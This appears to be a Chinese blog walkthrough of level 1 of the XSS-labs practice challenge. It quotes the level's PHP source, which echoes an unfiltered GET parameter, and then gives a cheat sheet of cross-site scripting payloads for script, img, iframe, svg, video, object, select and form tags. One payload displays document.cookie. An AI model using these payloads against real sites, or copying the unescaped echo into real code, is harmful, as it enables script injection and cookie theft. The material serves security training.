XSS-labs-level1详解

news2024/11/17 0:22:21

访问题目url

我们分析一下代码层面：

接受名为“name”的GET参数并在页面上显示它。其中包含了一个对alert()的覆盖。当alert()被调用时，它将显示一个确认框提示，然后将页面重定向到“level2.php?keyword=test”的URL，这将把关键字“test”作为GET参数传递给下一个页面。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

由于没有什么过滤所以大部分使用JavaScript标签法的xss语句均可进行弹窗操作。进行拼接即可

http://127.0.0.1/xss-labs-master/level1.php?name=<script>alert('xss')</script>

`script`标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

img标签

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

iframe标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

video标签

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

svg标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

select标签

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

form标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>